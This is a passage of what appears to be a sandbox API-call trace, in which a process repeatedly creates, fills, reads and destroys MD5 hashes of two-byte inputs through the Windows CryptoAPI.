	[0095.512] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.512] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.512] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.513] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.513] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.513] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.513] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.513] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.513] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.513] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.513] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.513] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.513] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.513] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.513] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.513] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.513] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.514] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.514] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.514] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.514] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.514] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.514] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.514] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.514] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.514] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.514] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.514] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.514] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.514] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.514] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.515] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.515] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.515] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.515] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.515] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.515] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.515] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.515] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.515] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.515] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.515] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.515] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.515] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.515] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.515] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.515] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.516] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.516] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.516] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.516] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.516] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.516] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.516] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.516] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.516] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.516] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.516] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.516] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.516] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.516] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.517] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.517] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.517] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.517] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.517] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.517] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.517] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.517] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.517] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.517] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.517] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.517] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.517] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.517] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.517] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.518] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.518] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.518] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.518] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.518] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.518] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.685] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.685] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.686] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.686] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.686] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.686] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.686] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.686] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.686] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.686] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.686] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.686] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.686] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.686] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.686] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.686] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.686] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.686] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.687] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.687] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.687] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.687] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.687] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.687] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.687] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.687] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.687] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.687] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.687] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.687] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.687] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.687] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.687] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.688] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.688] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.688] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.688] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.688] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.688] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.688] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.688] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.688] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.688] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.688] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.688] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.688] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.688] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.689] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.689] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.689] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.689] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.689] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.689] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.689] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.689] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.689] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.689] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.689] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.689] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.690] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.690] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.690] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.690] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.690] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.690] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.691] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.691] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.691] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.691] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.691] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.691] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.691] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.691] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.691] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.691] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.691] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.691] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.691] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.691] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.692] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.692] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.692] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.692] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.692] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.692] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.692] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.692] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.692] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.692] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.692] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.692] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.692] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.692] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.692] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.693] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.693] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.693] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.693] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.693] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.693] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.693] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.693] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.693] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.693] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.693] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.693] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.693] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.694] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.694] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.694] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.694] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.694] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.694] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.694] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.694] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.694] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.694] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.694] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.694] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.694] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.694] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.694] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.695] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.695] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.695] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.695] CryptDestroyHash (hHash=0x34d8d0) returned 1
